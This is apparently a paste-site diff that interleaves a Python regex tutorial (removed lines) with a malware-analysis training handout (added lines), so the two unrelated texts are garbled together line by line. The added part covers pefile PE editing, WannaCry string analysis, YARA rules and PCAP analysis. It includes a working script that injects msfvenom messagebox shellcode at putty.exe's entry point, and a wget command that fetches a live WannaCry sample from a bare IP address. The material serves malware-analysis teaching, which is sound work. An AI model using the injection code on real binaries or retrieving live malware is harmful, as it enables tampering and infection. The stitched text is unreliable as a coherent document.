921 | + | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
922 | - | print (result) |
922 | + | pe = pefile.PE(exe_path) |
923 | ||
924 | for section in pe.sections: | |
925 | - | Output: |
925 | + | print(section.Name.decode('utf-8')) |
926 | - | '' |
926 | + | print("\tVirtual Address: " + hex(section.VirtualAddress)) |
927 | print("\tVirtual Size: " + hex(section.Misc_VirtualSize)) | |
928 | print("\tRaw Size: " + hex(section.SizeOfRawData)) | |
929 | ----------------------------------------------------------------------- | |
930 | ||
931 | ||
932 | - | re.compile(pattern, repl, string): |
932 | + | |
933 | - | ---------------------------------------------------------- |
933 | + | You can also dump the full content of a section by passing its index to sections |
934 | ---------------------------Type This----------------------------------- | |
935 | import pefile | |
936 | - | We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it. |
936 | + | |
937 | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name | |
938 | pe = pefile.PE(exe_path) | |
939 | - | Code |
939 | + | |
940 | print pe.sections[0] | |
941 | ----------------------------------------------------------------------- | |
942 | - | import re |
942 | + | |
943 | - | pattern=re.compile('XSS') |
943 | + | |
944 | - | result=pattern.findall('XSS is Cross Site Scripting, XSS') |
944 | + | |
945 | - | print (result) |
945 | + | |
946 | - | result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection') |
946 | + | |
947 | - | print (result2) |
947 | + | Modifying the Structures |
948 | One of the most interesting functionality of pefile is editing executables. All values support assignment, so we can easily alter an executable. Let’s rename the .text section as an example: | |
949 | ---------------------------Type This----------------------------------- | |
950 | import pefile | |
951 | - | Output: |
951 | + | |
952 | - | ['XSS', 'XSS'] |
952 | + | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
953 | - | ['XSS'] |
953 | + | pe = pefile.PE(exe_path) |
954 | ||
955 | - | Till now, we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string? Don't be intimidated. |
955 | + | print("[*] Original Section name = %s" % pe.sections[0].Name.decode('utf-8')) |
956 | print("[*] Editing values...\n") | |
957 | - | This can easily be solved by defining an expression with the help of pattern operators (meta and literal characters). Let's look at the most common pattern operators. |
957 | + | |
958 | # Edit values | |
959 | pe.sections[0].Name = ".axc".encode() | |
960 | ||
961 | # Save the change in another executable | |
962 | new_exe_path = r"C:\Users\User\Desktop\new_putty.exe" | |
963 | - | ********************************************** |
963 | + | pe.write(new_exe_path) |
964 | - | * What are the most commonly used operators? * |
964 | + | |
965 | - | ********************************************** |
965 | + | # Check the values |
966 | new_pe = pefile.PE(new_exe_path) | |
967 | print("[*] New Section name = %s" % new_pe.sections[0].Name.decode('utf-8')) | |
968 | - | Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and text mining to extract required information. |
968 | + | |
969 | ||
970 | - | Operators Description |
970 | + | |
971 | - | . Matches with any single character except newline ‘\n'. |
971 | + | |
972 | - | ? match 0 or 1 occurrence of the pattern to its left |
972 | + | |
973 | - | + 1 or more occurrences of the pattern to its left |
973 | + | Code Injection |
974 | - | * 0 or more occurrences of the pattern to its left |
974 | + | Now, let’s try to inject code into the executable. Here we will inject a shellcode at the entry point. It will corrupt the executable as we will overwrite the orginal code to execute the shellcode. To do this, we will use the set_bytes_at_offset() method. It overwrite the bytes at the given file offset with the given string, it takes 2 arguments: |
975 | - | \w Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character. |
975 | + | |
976 | - | \d Matches with digits [0-9] and /D (upper case D) matches with non-digits. |
976 | + | Offset, containing the offset where we want to write the data |
977 | - | \s Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character. |
977 | + | Data, the data… |
978 | - | \b boundary between word and non-word and /B is opposite of /b |
978 | + | |
979 | - | [..] Matches any single character in a square bracket and [^..] matches any single character not in square bracket |
979 | + | import pefile |
980 | - | \ It is used for special meaning characters like \. to match a period or \+ for plus sign. |
980 | + | |
981 | - | ^ and $ ^ and $ match the start or end of the string respectively |
981 | + | exe_path = "/home/sempra/j0e/putty.exe" # Make sure you change the file path to your name |
982 | - | {n,m} Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression. |
982 | + | pe = pefile.PE(exe_path) |
983 | - | a| b Matches either a or b |
983 | + | |
984 | - | ( ) Groups regular expressions and returns matched text |
984 | + | # msfvenom -p windows/messagebox -f py |
985 | - | \t, \n, \r Matches tab, newline, return |
985 | + | # Payload size: 272 bytes |
986 | # Final size of py file: 1308 bytes | |
987 | shellcode = bytes(b"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9") | |
988 | - | For more details on meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html). |
988 | + | shellcode += b"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08" |
989 | shellcode += b"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1" | |
990 | - | Now, let's understand the pattern operators by looking at the below examples. |
990 | + | shellcode += b"\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28" |
991 | shellcode += b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34" | |
992 | shellcode += b"\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84" | |
993 | shellcode += b"\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24" | |
994 | - | **************************************** |
994 | + | shellcode += b"\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b" |
995 | - | * Some Examples of Regular Expressions * |
995 | + | shellcode += b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c" |
996 | - | **************************************** |
996 | + | shellcode += b"\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e" |
997 | shellcode += b"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e" | |
998 | - | ****************************************************** |
998 | + | shellcode += b"\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89" |
999 | - | * Problem 1: Return the first word of a given string * |
999 | + | shellcode += b"\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68" |
1000 | - | ****************************************************** |
1000 | + | shellcode += b"\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56" |
1001 | shellcode += b"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c" | |
1002 | shellcode += b"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68" | |
1003 | - | Solution-1 Extract each character (using "\w") |
1003 | + | shellcode += b"\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c" |
1004 | - | --------------------------------------------------------------------------- |
1004 | + | shellcode += b"\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46" |
1005 | shellcode += b"\x21\x68\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48" | |
1006 | - | Code |
1006 | + | shellcode += b"\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2" |
1007 | shellcode += b"\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08" | |
1008 | ||
1009 | - | import re |
1009 | + | ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint |
1010 | - | result=re.findall(r'.','Python is the best scripting language') |
1010 | + | print("[*] Writting %d bytes at offset %s" % (len(shellcode), hex(ep))) |
1011 | - | print (result) |
1011 | + | pe.set_bytes_at_offset(ep, shellcode) |
1012 | ||
1013 | new_exe_path = r"/home/sempra/j0e/new_putty.exe" | |
1014 | - | Output: |
1014 | + | pe.write(new_exe_path) |
1015 | - | ['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e'] |
1015 | + | |
1016 | By executing the new executable, you should see a message box indicating that the injection was successful. | |
1017 | ||
1018 | - | Above, space is also extracted, now to avoid it use "\w" instead of ".". |
1018 | + | Note: To generate the shellcode I used Metasploit. |
1019 | ||
1020 | Conclusion | |
1021 | - | Code |
1021 | + | There are many other features you should try like matching PEiD signatures, but you should play be able to play with it on your own now. |
1022 | ||
1023 | ||
1024 | - | import re |
1024 | + | |
1025 | - | result=re.findall(r'\w','Python is the best scripting language') |
1025 | + | |
1026 | - | print (result) |
1026 | + | |
1027 | ||
1028 | ||
1029 | ||
1030 | - | Output: |
1030 | + | |
1031 | - | ['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e'] |
1031 | + | |
1032 | ||
1033 | ||
1034 | Indicators of Compromise (IoC) | |
1035 | ----------------------------- | |
1036 | - | Solution-2 Extract each word (using "*" or "+") |
1036 | + | |
1037 | - | --------------------------------------------------------------------------- |
1037 | + | 1. Modify the filesystem |
1038 | 2. Modify the registry - ADVAPI32.dll (persistance) | |
1039 | - | Code |
1039 | + | 3. Modify processes/services |
1040 | 4. Connect to the network - WS2_32.dll | |
1041 | ||
1042 | - | import re |
1042 | + | |
1043 | - | result=re.findall(r'\w*','Python is the best scripting language') |
1043 | + | |
1044 | - | print (result) |
1044 | + | if you can't detect a registry change across 5% of your network |
1045 | ||
1046 | ||
1047 | ||
1048 | - | Output: |
1048 | + | EDR Solution |
1049 | - | ['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', ''] |
1049 | + | ------------ |
1050 | ||
1051 | ||
1052 | - | Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+". |
1052 | + | 1. Static Analysis <----------------------------------------- Cloud based static analysis |
1053 | Learn everything I can without actually running the file | |
1054 | - | Code |
1054 | + | - Modify FS - File integrity checker |
1055 | - Modify registry | |
1056 | - Modify processes/services | |
1057 | - | import re |
1057 | + | - Connect to the network |
1058 | - | result=re.findall(r'\w+','Python is the best scripting language') |
1058 | + | |
1059 | - | print (result) |
1059 | + | |
1060 | ||
1061 | 2. Dynamic Analysis | |
1062 | Runs the file in a VM/Sandbox | |
1063 | - | Output: |
1063 | + | |
1064 | - | ['Python', 'is', 'the', 'best', 'scripting', 'language'] |
1064 | + | |
1065 | # The Scenario # | |
1066 | ################ | |
1067 | You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts). | |
1068 | ||
1069 | - | Solution-3 Extract each word (using "^") |
1069 | + | |
1070 | - | ------------------------------------------------------------------------------------- |
1070 | + | |
1071 | ||
1072 | ||
1073 | - | Code |
1073 | + | |
1074 | ||
1075 | ################### | |
1076 | - | import re |
1076 | + | |
1077 | - | result=re.findall(r'^\w+','Python is the best scripting language') |
1077 | + | |
1078 | - | print (result) |
1078 | + | |
1079 | - After logging please open a terminal window and type the following commands: | |
1080 | ---------------------------Type This----------------------------------- | |
1081 | ||
1082 | - | Output: |
1082 | + | cd ~/yourname |
1083 | - | ['Python'] |
1083 | + | |
1084 | wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe | |
1085 | - | If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it. |
1085 | + | |
1086 | ||
1087 | - | Code |
1087 | + | |
1088 | wget http://45.63.104.73/wannacry.zip | |
1089 | ||
1090 | - | import re |
1090 | + | |
1091 | - | result=re.findall(r'\w+$','Python is the best scripting language') |
1091 | + | |
1092 | - | print (result) |
1092 | + | |
1093 | file wannacry.exe | |
1094 | ||
1095 | - | Output: |
1095 | + | |
1096 | - | [‘language'] |
1096 | + | |
1097 | file malware.pdf | |
1098 | ||
1099 | mv malware.pdf wannacry.exe | |
1100 | ||
1101 | hexdump -n 2 -C wannacry.exe | |
1102 | - | ********************************************************** |
1102 | + | |
1103 | - | * Problem 2: Return the first two character of each word * |
1103 | + | |
1104 | - | ********************************************************** |
1104 | + | |
1105 | ||
1106 | ||
1107 | ***What is '4d 5a' or 'MZ'*** | |
1108 | Reference: | |
1109 | - | Solution-1 Extract consecutive two characters of each word, excluding spaces (using "\w") |
1109 | + | |
1110 | - | ------------------------------------------------------------------------------------------------------ |
1110 | + | |
1111 | ||
1112 | - | Code |
1112 | + | |
1113 | ---------------------------Type This----------------------------------- | |
1114 | ||
1115 | - | import re |
1115 | + | |
1116 | - | result=re.findall(r'\w\w','Python is the best') |
1116 | + | |
1117 | - | print (result) |
1117 | + | |
1118 | strings wannacry.exe | |
1119 | ||
1120 | strings --all wannacry.exe | head -n 6 | |
1121 | - | Output: |
1121 | + | |
1122 | - | ['Py', 'th', 'on', 'is', 'th', 'be', 'st'] |
1122 | + | |
1123 | ||
1124 | strings wannacry.exe | grep -i library | |
1125 | ||
1126 | strings wannacry.exe | grep -i reg | |
1127 | ||
1128 | - | Solution-2 Extract consecutive two characters those available at start of word boundary (using "\b") |
1128 | + | |
1129 | - | ------------------------------------------------------------------------------------------------------ |
1129 | + | |
1130 | strings wannacry.exe | grep -i rsa | |
1131 | - | Code |
1131 | + | |
1132 | strings wannacry.exe | grep -i open | |
1133 | ||
1134 | - | import re |
1134 | + | |
1135 | - | result=re.findall(r'\b\w.','Python is the best') |
1135 | + | |
1136 | - | print (result) |
1136 | + | |
1137 | ||
1138 | strings wannacry.exe | grep -i irc | |
1139 | ||
1140 | - | Output: |
1140 | + | |
1141 | - | ['Py', 'is', 'th', 'be'] |
1141 | + | |
1142 | strings wannacry.exe | grep -i admin | |
1143 | ||
1144 | strings wannacry.exe | grep -i list | |
1145 | ||
1146 | ||
1147 | ||
1148 | - | ******************************************************** |
1148 | + | |
1149 | - | * Problem 3: Return the domain type of given email-ids * |
1149 | + | |
1150 | - | ******************************************************** |
1150 | + | |
1151 | ||
1152 | ||
1153 | - | To explain it in simple manner, I will again go with a stepwise approach: |
1153 | + | |
1154 | ||
1155 | ||
1156 | ||
1157 | Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry" | |
1158 | ||
1159 | - | Solution-1 Extract all characters after "@" |
1159 | + | |
1160 | - | ------------------------------------------------------------------------------------------------------------------ |
1160 | + | |
1161 | ||
1162 | - | Code |
1162 | + | |
1163 | https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/ | |
1164 | ||
1165 | - | import re |
1165 | + | |
1166 | - | result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz') |
1166 | + | |
1167 | - | print (result) |
1167 | + | |
1168 | Strings: | |
1169 | $s1 = “Ooops, your files have been encrypted!” wide ascii nocase | |
1170 | - | Output: ['@gmail', '@test', '@strategicsec', '@rest'] |
1170 | + | |
1171 | $s3 = “.wcry” wide ascii nocase | |
1172 | $s4 = “WANNACRY” wide ascii nocase | |
1173 | $s5 = “WANACRY!” wide ascii nocase | |
1174 | - | Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code. |
1174 | + | |
1175 | ||
1176 | ||
1177 | ||
1178 | - | import re |
1178 | + | |
1179 | - | result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz') |
1179 | + | |
1180 | - | print (result) |
1180 | + | |
1181 | ||
1182 | ||
1183 | Ok, let's look for the individual strings | |
1184 | - | Output: |
1184 | + | |
1185 | - | ['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz'] |
1185 | + | |
1186 | ||
1187 | ||
1188 | strings wannacry.exe | grep -i ooops | |
1189 | ||
1190 | strings wannacry.exe | grep -i wanna | |
1191 | ||
1192 | - | Solution – 2 Extract only domain name using "( )" |
1192 | + | |
1193 | - | ----------------------------------------------------------------------------------------------------------------------- |
1193 | + | |
1194 | strings wannacry.exe | grep -i wannacry | |
1195 | ||
1196 | - | Code |
1196 | + | |
1197 | ||
1198 | ||
1199 | - | import re |
1199 | + | |
1200 | - | result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz') |
1200 | + | |
1201 | - | print (result) |
1201 | + | |
1202 | ||
1203 | ||
1204 | ||
1205 | - | Output: |
1205 | + | |
1206 | - | ['com', 'com', 'com', 'biz'] |
1206 | + | |
1207 | #################################### | |
1208 | Decided to make my own script for this kind of stuff in the future. I | |
1209 | ||
1210 | - | ******************************************** |
1210 | + | |
1211 | - | * Problem 4: Return date from given string * |
1211 | + | |
1212 | - | ******************************************** |
1212 | + | |
1213 | This is a really good script for the basics of static analysis | |
1214 | ||
1215 | - | Here we will use "\d" to extract digit. |
1215 | + | |
1216 | https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html | |
1217 | ||
1218 | - | Solution: |
1218 | + | |
1219 | - | ---------------------------------------------------------------------------------------------------------------------- |
1219 | + | |
1220 | ||
1221 | - | Code |
1221 | + | |
1222 | Here is my own script using the signatures (started this yesterday, but still needs work): | |
1223 | https://pastebin.com/guxzCBmP | |
1224 | - | import re |
1224 | + | |
1225 | ||
1226 | - | result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009') |
1226 | + | |
1227 | - | print (result) |
1227 | + | |
1228 | ||
1229 | sudo apt install -y python-pefile | |
1230 | infosecaddicts | |
1231 | - | Output: |
1231 | + | |
1232 | - | ['12-05-2007', '11-11-2016', '12-01-2009'] |
1232 | + | |
1233 | ||
1234 | - | If you want to extract only year again parenthesis "( )" will help you. |
1234 | + | |
1235 | ||
1236 | ||
1237 | - | Code |
1237 | + | |
1238 | ||
1239 | ||
1240 | vi am.py | |
1241 | - | import re |
1241 | + | |
1242 | - | result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009') |
1242 | + | |
1243 | - | print (result) |
1243 | + | |
1244 | ||
1245 | ----------------------------------------------------------------------- | |
1246 | ||
1247 | - | Output: |
1247 | + | |
1248 | - | ['2007', '2016', '2009'] |
1248 | + | |
1249 | ||
1250 | ||
1251 | ||
1252 | ||
1253 | ||
1254 | - | ******************************************************************* |
1254 | + | |
1255 | - | * Problem 5: Return all words of a string those starts with vowel * |
1255 | + | |
1256 | - | ******************************************************************* |
1256 | + | |
1257 | ---------------------------Type This----------------------------------- | |
1258 | ||
1259 | ----------------------------------------------------------------------- | |
1260 | ||
1261 | - | Solution-1 Return each words |
1261 | + | |
1262 | - | ----------------------------------------------------------------------------------------------------------------- |
1262 | + | |
1263 | McAfee is giving these yara rules - so add them to the hashes.txt file | |
1264 | - | Code |
1264 | + | |
1265 | Reference: | |
1266 | https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/ | |
1267 | - | import re |
1267 | + | |
1268 | - | result=re.findall(r'\w+','Python is the best') |
1268 | + | |
1269 | - | print (result) |
1269 | + | |
1270 | { | |
1271 | meta: | |
1272 | - | Output: |
1272 | + | |
1273 | - | ['Python', 'is', 'the', 'best'] |
1273 | + | |
1274 | weight = 100 | |
1275 | date = "2017-05-12" | |
1276 | ||
1277 | strings: | |
1278 | $s1 = "Ooops, your files have been encrypted!" wide ascii nocase | |
1279 | - | Solution-2 Return words starts with alphabets (using []) |
1279 | + | |
1280 | - | ------------------------------------------------------------------------------------------------------------------ |
1280 | + | |
1281 | $s4 = "WANNACRY" wide ascii nocase | |
1282 | - | Code |
1282 | + | |
1283 | $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase | |
1284 | ||
1285 | - | import re |
1285 | + | |
1286 | - | result=re.findall(r'[aeiouAEIOU]\w+','I love Python') |
1286 | + | |
1287 | - | print (result) |
1287 | + | |
1288 | ||
1289 | ---------------------------------------------------------------------------- | |
1290 | rule wannacry_2{ | |
1291 | - | Output: |
1291 | + | |
1292 | - | ['ove', 'on'] |
1292 | + | |
1293 | description = "WannaCry Ransomware Strings" | |
1294 | - | Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary. |
1294 | + | |
1295 | weight = 100 | |
1296 | ||
1297 | strings: | |
1298 | $string1 = "msg/m_bulgarian.wnry" | |
1299 | $string2 = "msg/m_chinese (simplified).wnry" | |
1300 | - | Solution- 3 |
1300 | + | |
1301 | - | ------------------------------------------------------------------------------------------------------------------ |
1301 | + | |
1302 | $string5 = "msg/m_czech.wnry" | |
1303 | - | Code |
1303 | + | |
1304 | $string7 = "msg/m_dutch.wnry" | |
1305 | $string8 = "msg/m_english.wnry" | |
1306 | - | import re |
1306 | + | |
1307 | - | result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python') |
1307 | + | |
1308 | - | print (result) |
1308 | + | |
1309 | $string12 = "msg/m_german.wnry" | |
1310 | $string13 = "msg/m_greek.wnry" | |
1311 | $string14 = "msg/m_indonesian.wnry" | |
1312 | - | Output: |
1312 | + | |
1313 | - | [] |
1313 | + | |
1314 | $string17 = "msg/m_korean.wnry" | |
1315 | - | In similar ways, we can extract words those starts with constant using "^" within square bracket. |
1315 | + | |
1316 | $string19 = "msg/m_norwegian.wnry" | |
1317 | $string20 = "msg/m_polish.wnry" | |
1318 | - | Code |
1318 | + | |
1319 | $string22 = "msg/m_romanian.wnry" | |
1320 | $string23 = "msg/m_russian.wnry" | |
1321 | - | import re |
1321 | + | |
1322 | - | result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python') |
1322 | + | |
1323 | - | print (result) |
1323 | + | |
1324 | $string27 = "msg/m_turkish.wnry" | |
1325 | $string28 = "msg/m_vietnamese.wnry" | |
1326 | ||
1327 | - | Output: |
1327 | + | |
1328 | - | [' love', ' Python'] |
1328 | + | |
1329 | any of ($string*) | |
1330 | - | Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[]. |
1330 | + | |
1331 | ---------------------------------------------------------------------------- | |
1332 | ||
1333 | - | Code |
1333 | + | |
1334 | ||
1335 | ||
1336 | - | import re |
1336 | + | |
1337 | - | result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python') |
1337 | + | # Intro to Threat Hunting # |
1338 | - | print (result) |
1338 | + | |
1339 | ||
1340 | ||
1341 | ||
1342 | - | Output: |
1342 | + | |
1343 | - | ['love', 'Python'] |
1343 | + | |
1344 | ################################################################## | |
1345 | # Analyzing a PCAP Prads # | |
1346 | # Note: run as regular user # | |
1347 | ################################################################## | |
1348 | ||
1349 | ---------------------------Type this as a regular user---------------------------------- | |
1350 | - | ************************************************************************************************* |
1350 | + | cd ~/yourname |
1351 | - | * Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) * |
1351 | + | |
1352 | - | ************************************************************************************************* |
1352 | + | mkdir pcap_analysis/ |
1353 | ||
1354 | cd pcap_analysis/ | |
1355 | - | We have a list phone numbers in list "li" and here we will validate phone numbers using regular |
1355 | + | |
1356 | mkdir prads | |
1357 | ||
1358 | cd prads | |
1359 | ||
1360 | - | Solution |
1360 | + | wget http://45.63.104.73/suspicious-time.pcap |
1361 | - | ------------------------------------------------------------------------------------------------------------------------------------- |
1361 | + | |
1362 | prads -r suspicious-time.pcap -l prads-asset.log | |
1363 | ||
1364 | - | Code |
1364 | + | cat prads-asset.log | less |
1365 | ||
1366 | cat prads-asset.log | grep SYN | grep -iE 'windows|linux' | |
1367 | - | import re |
1367 | + | |
1368 | - | li=['9999999999','999999-999','99999x9999'] |
1368 | + | cat prads-asset.log | grep CLIENT | grep -iE 'safari|firefox|opera|chrome' |
1369 | - | for val in li: |
1369 | + | |
1370 | - | if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10: |
1370 | + | cat prads-asset.log | grep SERVER | grep -iE 'apache|linux|ubuntu|nginx|iis' |
1371 | - | print ('yes') |
1371 | + | |
1372 | ||
1373 | - | print ('no') |
1373 | + | |
1374 | ||
1375 | ||
1376 | ################################## | |
1377 | # PCAP Analysis with ChaosReader # | |
1378 | - | Output: |
1378 | + | # Note: run as regular user # |
1379 | - | yes |
1379 | + | |
1380 | - | no |
1380 | + | ---------------------------Type this as a regular user---------------------------------- |
1381 | - | no |
1381 | + | cd ~/yourname |
1382 | ||
1383 | ||
1384 | cd pcap_analysis/ | |
1385 | ||
1386 | mkdir chaos_reader/ | |
1387 | - | ****************************************************** |
1387 | + | |
1388 | - | * Problem 7: Split a string with multiple delimiters * |
1388 | + | cd chaos_reader/ |
1389 | - | ****************************************************** |
1389 | + | |
1390 | wget http://45.63.104.73/suspicious-time.pcap | |
1391 | ||
1392 | wget http://45.63.104.73/chaosreader.pl | |
1393 | - | Solution |
1393 | + | |
1394 | - | --------------------------------------------------------------------------------------------------------------------------- |
1394 | + | perl chaosreader.pl suspicious-time.pcap |
1395 | ||
1396 | cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | |
1397 | - | Code |
1397 | + | |
1398 | cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr | |
1399 | ||
1400 | - | import re |
1400 | + | |
1401 | - | line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," "). |
1401 | + | for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u |
1402 | - | result= re.split(r'[;,\s]', line) |
1402 | + | |
1403 | - | print (result) |
1403 | + | python -m SimpleHTTPServer |
1404 | ****** Open a web browser and browse the the IP address of your Linux machine port 8000 for the web page ***** | |
1405 | ||
1406 | ------------------------------------------------------------------------ | |
1407 | - | Output: |
1407 | + | |
1408 | - | ['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo'] |
1408 | + | |
1409 | ||
1410 | ||
1411 | ||
1412 | - | We can also use method re.sub() to replace these multiple delimiters with one as space " ". |
1412 | + | |
1413 | ||
1414 | ||
1415 | - | Code |
1415 | + | |
1416 | # PCAP Analysis with tshark # | |
1417 | # Note: run as regular user # | |
1418 | - | import re |
1418 | + | |
1419 | - | line = 'asdf fjdk;afed,fjek,asdf,foo' |
1419 | + | ---------------------------Type this as a regular user--------------------------------- |
1420 | - | result= re.sub(r'[;,\s]',' ', line) |
1420 | + | cd ~/yourname |
1421 | - | print (result) |
1421 | + | |
1422 | mkdir pcap_analysis/ | |
1423 | ||
1424 | cd pcap_analysis/ | |
1425 | - | Output: |
1425 | + | |
1426 | - | asdf fjdk afed fjek asdf foo |
1426 | + | mkdir tshark |
1427 | ||
1428 | cd tshark | |
1429 | ||
1430 | wget http://45.63.104.73/suspicious-time.pcap | |
1431 | - | ************************************************** |
1431 | + | |
1432 | - | * Problem 8: Retrieve Information from HTML file * |
1432 | + | tshark -i ens3 -r suspicious-time.pcap -qz io,phs |
1433 | - | ************************************************** |
1433 | + | |
1434 | tshark -r suspicious-time.pcap -qz ip_hosts,tree | |
1435 | ||
1436 | tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq | |
1437 | - | I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str. |
1437 | + | |
1438 | tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name" | |
1439 | ||
1440 | ||
1441 | - | Create a file (file.txt) that contains the following data: |
1441 | + | tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' |
1442 | ||
1443 | whois rapidshare.com.eyu32.ru | |
1444 | - | <tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr> |
1444 | + | |
1445 | - | <tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr> |
1445 | + | whois sploitme.com.cn |
1446 | - | <tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr> |
1446 | + | |
1447 | - | <tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr> |
1447 | + | tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org' |
1448 | - | <tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr> |
1448 | + | |
1449 | - | <tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr> |
1449 | + | tshark -r suspicious-time.pcap -qz http_req,tree |
1450 | - | <tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr> |
1450 | + | |
1451 | tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst | |
1452 | ||
1453 | - | Solution: |
